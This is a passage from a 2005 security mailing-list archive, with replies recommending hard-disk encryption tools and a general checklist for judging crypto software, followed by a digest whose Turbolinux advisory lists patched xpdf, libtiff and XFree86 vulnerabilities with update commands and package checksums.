http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/34399be1/attachment.bin From stefan.schlott at informatik.uni-ulm.de Fri Jan 21 06:25:33 2005 From: stefan.schlott at informatik.uni-ulm.de (Stefan Schlott) Date: Fri, 21 Jan 2005 07:25:33 +0100 Subject: [Full-Disclosure] harddisk encryption In-Reply-To: <41F05DD8.6070309@pwarchitects.com> References: <31972.1106213279@www38.gmx.net> <41EFF4C5.2070809@ebay.com> <41F005D3.2070406@pwarchitects.com> <41F05DD8.6070309@pwarchitects.com> Message-ID: <41F0A05D.4040601@informatik.uni-ulm.de> dk wrote: > Forgot to mention: > > http://sourceforge.net/projects/loop-aes/ > > ...if you ever decide to use Linux as a host OS. ...and for Windows users: http://truecrypt.sourceforge.net/ seems to make a good impression... From Valdis.Kletnieks at vt.edu Fri Jan 21 07:37:25 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 21 Jan 2005 02:37:25 -0500 Subject: [Full-Disclosure] harddisk encryption In-Reply-To: Your message of "Fri, 21 Jan 2005 00:23:40 CST." <1106288620.478.8.camel@localhost> References: <31972.1106213279@www38.gmx.net> <1106288620.478.8.camel@localhost> Message-ID: <200501210737.j0L7bP0Q023370@turing-police.cc.vt.edu> On Fri, 21 Jan 2005 00:23:40 CST, Frank Knobbe said: > Since others are still throwing in their recommendations, let me add > mine as well. Back in the days when I used Windows, I really liked > HardDisk Encryption Plus from PCGuardian (www.pcguardian.com). It is a > full-disk encryption program (or just a partition if you like). My old > NT4 laptop was encrypted with it. No problems. Nice admin and recovery > features. But what I really liked was the transparent encryption of the > whole disk which you unlocked with a password on boot-up. > I believe they still offer eval versions. Feel free to give them a try. (Not getting on PCGuardian in particular.. it's an endemic problem) It's almost trivially easy to make a product that *looks* like it's working. Doing crypto *right* is a lot more challenging, and there's a lot of snake-oil crypto out there. Some of the people think they really know what they're doing, and some don't care that they don't.... A *partial* list of things to look at: 1) Is the basic crypto algorithm something considered secure? Or are they using their own cypher which may be totally borked? Probably still a lot of code out there using single-DES even though that's not enough these days - and a certain company brought DMCA charges against a Russian programmer for revealing their "secret sauce" was rot-13. Some even advertise their "top secret 16000-bit encryption" - any idiot can design a crypto system they don't know how to break. Building one that nobody else can break is incredibly tough (how many cryptographers have designed more than one system that stood up to more than a few years of attempts to break it?) 2) Is key management done correctly? This is the next big weak area for most systems. It may keep a copy of the key around in memory or on disk. If it uses a passphrase to scramble an on-disk private key, it may allow too-low entropy limits on the passphrase. Consider suspect anything that advertises "key recovery" so upper management can get the files back even if a key employee dies/leaves and takes the passphrase with them - the number of crypto experts that can correctly implement a key escrow or a threshold secret sharing scheme is much lower than the number of companies selling stuff that claims to do it. 3) Initialization Vectors: another tricky spot. For instance, the current Linux 'cryptoloop' is known to have an IV scheme that suffers from a watermark attack - if you store content provided by an attacker, they can insert a "watermark" in the data which allows them to conclusively prove their data is on your disk even without knowing the encryption key. This can be a *serious* issue if you are, for example, trying to use encryption to hide a pirated copy of an album from the ??AA copyright police - if they can hand you (possibly via a series of intermediaries) a .MP3 or a movie that they control the bits. they can "tag" it so they can prove it's on your disk... 4) Information leakage - is it possible to get the software to cough up any internal state information it shouldn't? That's just a *partial* list of holes that crypto software can be carrying around. And consider the only reason that anybody ever uses crypto for anything - a hidden crypto hole that you don't know about is is infinitely worse than a bug that merely renders it visibly dead and useless.... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/01e23276/attachment.bin From Bas.Hendriks at pinkroccade.com Fri Jan 21 09:04:00 2005 From: Bas.Hendriks at pinkroccade.com (Hendriks Bas) Date: Fri, 21 Jan 2005 10:04:00 +0100 Subject: [Full-Disclosure] RE: Full-Disclosure Digest, Vol 2, Issue 44 Message-ID: <3BE93FC8D8619B47BCB7D5920DF3F17E0181C004@ASP1EC1VS1.ASP1.LAN> The link is not ok should be: http://xyz.lanl.gov/abs/cs.CR/0501038 -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com]On Behalf Of full-disclosure-request at lists.netsys.com Sent: donderdag 20 januari 2005 18:00 To: full-disclosure at lists.netsys.com Subject: Full-Disclosure Digest, Vol 2, Issue 44 Send Full-Disclosure mailing list submissions to full-disclosure at lists.netsys.com To subscribe or unsubscribe via the World Wide Web, visit https://lists.netsys.com/mailman/listinfo/full-disclosure or, via email, send a message with subject or body 'help' to full-disclosure-request at lists.netsys.com You can reach the person managing the list at full-disclosure-owner at lists.netsys.com When replying, please edit your Subject line so it is more specific than "Re: Contents of Full-Disclosure digest..." Today's Topics: 1. harddisk encryption (Lentila de Vultur) 2. ASH Hashing Algorithm (seasonedpaper at djc.people.inodetech.com) 3. [TURBOLINUX SECURITY INFO] 20/Jan/2005 (Turbolinux) 4. Re: [ISN] Book Review: Forensic Discovery (Anthony Zboralski) ---------------------------------------------------------------------- Message: 1 Date: Thu, 20 Jan 2005 10:27:59 +0100 (MET) From: "Lentila de Vultur" Subject: [Full-Disclosure] harddisk encryption To: full-disclosure at lists.netsys.com Message-ID: <31972.1106213279 at www38.gmx.net> Content-Type: text/plain; charset="us-ascii" hi, i'm evaluating a software that performs harddisk encryption for deploying in my company. the software in question is utimaco safeguard easy v4.10 (www.utimaco.com) running on w2k. i am interested in communitty's oppinion about this product. has anyone performed a detailed analysis of it? i googled around but i couldn't find much information, except that the version 3.20 sr1 has earned an eal3 certification from the german federal agency for it security. tia -- this e-mail is certified content-free. Sparen beginnt mit GMX DSL: http://www.gmx.net/de/go/dsl ------------------------------ Message: 2 Date: Wed, 19 Jan 2005 20:47:51 -0800 (PST) From: seasonedpaper at djc.people.inodetech.com Subject: [Full-Disclosure] ASH Hashing Algorithm To: bugtraq at securityfocus.com Cc: full-disclosure at lists.netsys.com Message-ID: <48499.209.204.180.178.1106196471.squirrel at gobbleturkey.simpli.biz> Content-Type: text/plain;charset=iso-8859-1 With the current class of cryptographic algorithms growing weaker we face an increasingly large problem. I went ahead took two SHA-2 algorithms and created ASH-1 and ASH-2. The modifications are algorithm neutral and fairly simple, but add security and flexibility to the SHA family. The hashing algorithm is detailed in this paper: http://xxx.lanl.gov.nyud.net:8090/abs/cs.CR/0501038 Comments, criticism, and help all appreciated. Thanks, D.J. Capelis Network Security and Cryptography Researcher ------------------------------ Message: 3 Date: Thu, 20 Jan 2005 15:35:51 +0900 From: Turbolinux Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 20/Jan/2005 To: security-announce at turbolinux.co.jp Message-ID: <200501201536.01355.security-announce at turbolinux.co.jp> Content-Type: Text/Plain; charset="us-ascii" -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is an announcement only email list for the x86 architecture. ============================================================ Turbolinux Security Announcement 20/Jan/2005 ============================================================ The following page contains the security information of Turbolinux Inc. - Turbolinux Security Center http://www.turbolinux.com/security/ (1) xpdf -> Buffer overflow (2) libtiff -> Multiple vulnerabilities in libtiff (3) XFree86 -> Multiple vulnerabilities in libXpm (4) imlib -> Two vulnerabilities discovered in imlib =========================================================== * xpdf -> Buffer overflow =========================================================== More information: Xpdf is an X Window System based viewer for Portable Document Format (PDF) files. The buffer overflow was found in the Gfx::doImage function in Gfx.cc in xpdf version 3.00. Impact: These vulnerabilities may allow remote attackers to execute arbitrary code via malformed PDF files. Affected Products: - Turbolinux 10 Server Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- # turbopkg or # zabom -u xpdf --------------------------------------------- Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/xpdf-3.00-5.src.rpm 4604490 d33abd903ee32d277260d1c230dcfe70 References: CVE [CAN-2004-1125] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125 =========================================================== * libtiff -> Multiple vulnerabilities in libtiff =========================================================== More information: The libtiff package contains a library of functions for manipulating TIFF (Tagged Image File Format) image format files. Multiple issues exist in libtiff: - Multiple vulnerabilities in libtiff's RLE (run length encoding) decoders - Vulnerability in tif_dirread.c - Multiple integer overflows - Integer overflow in tif_dirread.c and tif_fax3.c Impact: These vulnerabilities may allow remote attackers to execute arbitrary code via malformed TIFF image files. Affected Products: - Turbolinux 10 Server - Turbolinux Home - Turbolinux 10 F... - Turbolinux 10 Desktop - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server - Turbolinux 7 Workstation Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] # turbopkg or # zabom -u libtiff [other] # turbopkg or # zabom update libtiff --------------------------------------------- Source Packages Size: MD5 libtiff-3.5.7-7.src.rpm 972878 ed8bd0ef2bf2a1931610e91713a8d7c4 Binary Packages Size: MD5 libtiff-3.5.7-7.i586.rpm 316109 2653e065f0c5fbc95c850a1dbf8ce385 Source Packages Size: MD5 libtiff-3.5.7-7.src.rpm 972878 0fd2512f0caa91f27d80619bdd246d51 Binary Packages Size: MD5 libtiff-3.5.7-7.i586.rpm 316422 00d6b827b50c02990eec3768ae92d4c9 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/libtiff-3.6.1-4.src.rpm 1093717 362993a9fe4c86ebe19b244210a2b6cf Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-3.6.1-4.i586.rpm 232659 0f1d0d2fb52c72d38cd9a4964d50ba25 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-debug-3.6.1-4.i586.rpm 256539 3dfa5531c4c29444b7ee939f97ad8f35 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-devel-3.6.1-4.i586.rpm 509454 8c312bee14f08dca7f2dde75766ab191 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/libtiff-3.5.7-7.src.rpm 972878 ad86cfa9f29064a6457eae596dbe0020 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/libtiff-3.5.7-7.i586.rpm 222710 7e3dc3844942811aee6aea8c405e3628 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/libtiff-devel-3.5.7-7.i586.rpm 469753 4918c1f7b75335f9bfe3d96d322a0961 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/libtiff-3.5.7-7.src.rpm 972878 ecea2012e0d8eaea72d27141e3b112bf Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/libtiff-3.5.7-7.i586.rpm 316627 cad5ce73c1d9e515f390461cf4a72126 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/libtiff-devel-3.5.7-7.i586.rpm 595504 13bcf43c5208b27d485eb6e096cca14b Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/libtiff-3.5.5-7.src.rpm 918710 d507119975f6299adf197181f4eda89a Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/libtiff-3.5.5-7.i586.rpm 738427 a3bc600c346754b83b8e5932908955e7 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm 632579 6ab0c04ac7ef41df03073e56d622da8f Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/libtiff-3.5.5-7.src.rpm 918710 9fd2675fa8d5146faf3bffab02ae08ab Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/libtiff-3.5.5-7.i586.rpm 702575 958636e2ddf39b68b77f346671c7d10c ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm 621763 05e2d24f8f16e3f10c690b03929db76f Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/libtiff-3.5.5-7.src.rpm 918710 b0b307c92d092a8dec1f5bb58ba81802 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/libtiff-3.5.5-7.i586.rpm 702616 616c97ff0678e34a646f2d18b2f0b0d9 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm 622017 4c1e95f277cc72f9dadc76e10da85eb8 References: CVE [CAN-2004-0803] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0803 [CAN-2004-0804] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0804 [CAN-2004-0886] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0886 [CAN-2004-1183] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183 [CAN-2004-1308] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308 =========================================================== * XFree86 -> Multiple vulnerabilities in libXpm =========================================================== More information: XFree86 is an implementation of the X Window System, providing a core graphical user interface and video drivers. Multiple vulnerabilities have been discovered in the handling of libXpm for XFree86. Impact: These vulnerabilities may allow remote attackers to execute arbitrary code via malformed XPM image files. Affected Products: - Turbolinux 10 Server - Turbolinux Home - Turbolinux 10 F... - Turbolinux 10 Desktop - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server - Turbolinux 7 Workstation Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] # turbopkg or # zabom -u XFree86-100dpi-fonts XFree86 XFree86-75dpi-fonts XFree86-Xvfb XFree86-contrib XFree86-cyrillic-fonts \ XFree86-debug XFree86-devel XFree86-fonts XFree86-libs XFree86-twm XFree86-xcursor XFree86-xcursor-devel \ XFree86-xf86config XFree86-xfs XFree86-xft XFree86-xft-devel [other] # turbopkg or # zabom update XFree86-100dpi-fonts XFree86 XFree86-75dpi-fonts XFree86-contrib \ XFree86-cyrillic-fonts XFree86-devel XFree86-libs XFree86-xfs --------------------------------------------- Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/XFree86-4.3.0-77.src.rpm 56924470 eb845b3be235bb21aa0278a180623083 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-100dpi-fonts-4.3.0-77.i586.rpm 12437623 ee386b128dc366a57b040bc805438605 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-4.3.0-77.i586.rpm 17914136 7a51c84fdfeb84728ee8e34aa3b90bc3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-75dpi-fonts-4.3.0-77.i586.rpm 10767930 1b4168835146c84115251d0fd8464ba3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-Xvfb-4.3.0-77.i586.rpm 1767856 5df330993a65405eb845be1f1b6b12cd ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-contrib-4.3.0-77.i586.rpm 466061 52cc4b83c716d6e79b9061868450f88f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-cyrillic-fonts-4.3.0-77.i586.rpm 411823 5e81e96d9381c62f207442df6da45423 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-debug-4.3.0-77.i586.rpm 1377048 aceb6c284ec571f145c482eedfbaef78 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-devel-4.3.0-77.i586.rpm 5019869 cdc364bf982fad2ef0e6de217f3abd3d ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-fonts-4.3.0-77.i586.rpm 8769483 0da5b1474b099bb2bf3d01edda792603 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-libs-4.3.0-77.i586.rpm 2647941 0f28d2cffc3e1e84126d46262725f9e6 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-twm-4.3.0-77.i586.rpm 117532 63709419ef668e12eae1520c55a767aa ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xcursor-4.3.0-77.i586.rpm 50393 025e2a0e8ed4569c0b3ba36621eb426b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xcursor-devel-4.3.0-77.i586.rpm 47685 633730af58c2ec7aea3fb1579aeef630 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xf86config-4.3.0-77.i586.rpm 317697 9df69cf1936d3ed833ca5acae1c403d7 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xfs-4.3.0-77.i586.rpm 83290 c432d53f1cf1328521457d754022c6f4 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xft-4.3.0-77.i586.rpm 79480 80aabaa94ec8fc20f54acc2193d017b4 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xft-devel-4.3.0-77.i586.rpm 65413 99eba2b51bb1a97a70fd5b168a41aa30 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/XFree86-4.3.0-77.src.rpm 56924470 eb845b3be235bb21aa0278a180623083 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-100dpi-fonts-4.3.0-77.i586.rpm 12437426 b9111393e5ebdb113c6289988e18d5f3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-4.3.0-77.i586.rpm 17895556 defec85ce43edc9fc38da3178a5a81c5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-75dpi-fonts-4.3.0-77.i586.rpm 10768171 0cc075e2c541b18e0b03c246aa733778 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-Xvfb-4.3.0-77.i586.rpm 1770857 7303649f87334a166053f79daa58ea7e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-contrib-4.3.0-77.i586.rpm 468946 f8b101e81546e121bff3b66580e0abca ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-cyrillic-fonts-4.3.0-77.i586.rpm 411831 bde2193dbe541209df9db215e0e7af46 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-devel-4.3.0-77.i586.rpm 5044863 800299b8040b044bcc98ea4a584958f9 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-fonts-4.3.0-77.i586.rpm 8769933 adf97005250306846b5043ab4d20b91e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-libs-4.3.0-77.i586.rpm 2650733 29503d891efdd23d4338453c8586f613 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-twm-4.3.0-77.i586.rpm 117791 63d4137b167576f8d1d9160aa68e270e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xcursor-4.3.0-77.i586.rpm 50522 317efcf80d9c80d4ee07e63c744f9508 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xcursor-devel-4.3.0-77.i586.rpm 43701 a0fc3b3c692b2df34cd0f1f01062e7d4 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xf86config-4.3.0-77.i586.rpm 319370 f382c487a8bec7dfc474d0ba0d8b42d3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xfs-4.3.0-77.i586.rpm 83644 db73fa54d5c7bd5505014ccf09b6cf1f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xft-4.3.0-77.i586.rpm 79556 bc989ac39f0aee3e90c78fa098e2057e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xft-devel-4.3.0-77.i586.rpm 65526 cc883a49cc3094ec848e625619a533b2 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/XFree86-4.2.0-31.src.rpm 59402584 d2d88c18b1130b86927152ff03ece881 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-100dpi-fonts-4.2.0-31.i586.rpm 12400410 34d10be76f54acc21491a00899a71702 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-4.2.0-31.i586.rpm 22743452 2d46d8869809b4cf4057073aa1424691 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-75dpi-fonts-4.2.0-31.i586.rpm 10731375 ba1de2759dcc7147e2db62b03e6c88ec ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-contrib-4.2.0-31.i586.rpm 308144 45b5035ce028061f85307e523e744ca4 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-cyrillic-fonts-4.2.0-31.i586.rpm 397538 716c536d56b62bfd0d01d36da3e6e84b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-devel-4.2.0-31.i586.rpm 4614429 9c36dca86bf64abb155fa69bfcf862a6 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-libs-4.2.0-31.i586.rpm 2130130 71c9879567f941b333ef9357f0923b2e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-xfs-4.2.0-31.i586.rpm 71877 5d4624ac221daa59fa0be17667fa1402 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/XFree86-4.2.0-31.src.rpm 59402584 d2d88c18b1130b86927152ff03ece881 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-100dpi-fonts-4.2.0-31.i586.rpm 12400862 55aca027c4a93336f441b2f97edebc38 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-4.2.0-31.i586.rpm 22742661 8078bd1063760502eacaff6b2a624f17 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-75dpi-fonts-4.2.0-31.i586.rpm 10731374 57a913169b1210046e66b4cdfa1d4add ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-contrib-4.2.0-31.i586.rpm 307956 9b8262aee19812f4ddd570f11385b080 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-cyrillic-fonts-4.2.0-31.i586.rpm 397535 90a5212d0f613b73324a5d9a92bd7b5e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-devel-4.2.0-31.i586.rpm 4614017 f580d9b9d34fc52855421429adf5963b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-libs-4.2.0-31.i586.rpm 2129819 bb11ef81170bd7fe0ce6497863708914 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-xfs-4.2.0-31.i586.rpm 71862 dbed6ee63513445d15902040b7aba2e3 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/XFree86-4.1.0-40.src.rpm 56822593 d1dc66c85ed9362c5a60c01a9ff4f3b6 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-100dpi-fonts-4.1.0-40.i586.rpm 12395748 f7480f3e13f0eac6cc86ca571373d4cd ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-4.1.0-40.i586.rpm 20305802 48332f6693f31a7df62b33d55d50d41e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-75dpi-fonts-4.1.0-40.i586.rpm 10728284 7086a66f0bf56ad672036f6a34f92800 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-contrib-4.1.0-40.i586.rpm 241514 2b57c0c668640d15abec76d705e7ad02 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-cyrillic-fonts-4.1.0-40.i586.rpm 393107 11007a23de8827f279e0b8f70b4e1685 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-devel-4.1.0-40.i586.rpm 4081975 53a48bd6a8e9b1db753973780512cc8c ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-libs-4.1.0-40.i586.rpm 2152590 b6ba737c3f676346837841a88484b69f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-xfs-4.1.0-40.i586.rpm 65361 020ecfddb6a42d11d8f89b54c52f273e Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/XFree86-4.1.0-40.src.rpm 56822593 f499b57975db35a67b7cc30f5611dd95 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-100dpi-fonts-4.1.0-40.i586.rpm 12395916 9f5c90bc2292eec9ad8258fa27fcef05 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-4.1.0-40.i586.rpm 20305729 c592c0b7ded715b684f373893a02fdad ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-75dpi-fonts-4.1.0-40.i586.rpm 10726676 f80f6b3efa546a16e6ff1519f8282c3e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-contrib-4.1.0-40.i586.rpm 241629 5b0d933767e2c4f75171402d7fc8b23d ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-cyrillic-fonts-4.1.0-40.i586.rpm 393113 afad572afbed7ace7f57eb3552bd0e18 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-devel-4.1.0-40.i586.rpm 4081652 cb1a1892dd927001bc1bdde67603f872 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-libs-4.1.0-40.i586.rpm 2152078 c5548d688b1f8580363fb427d1eae7fc 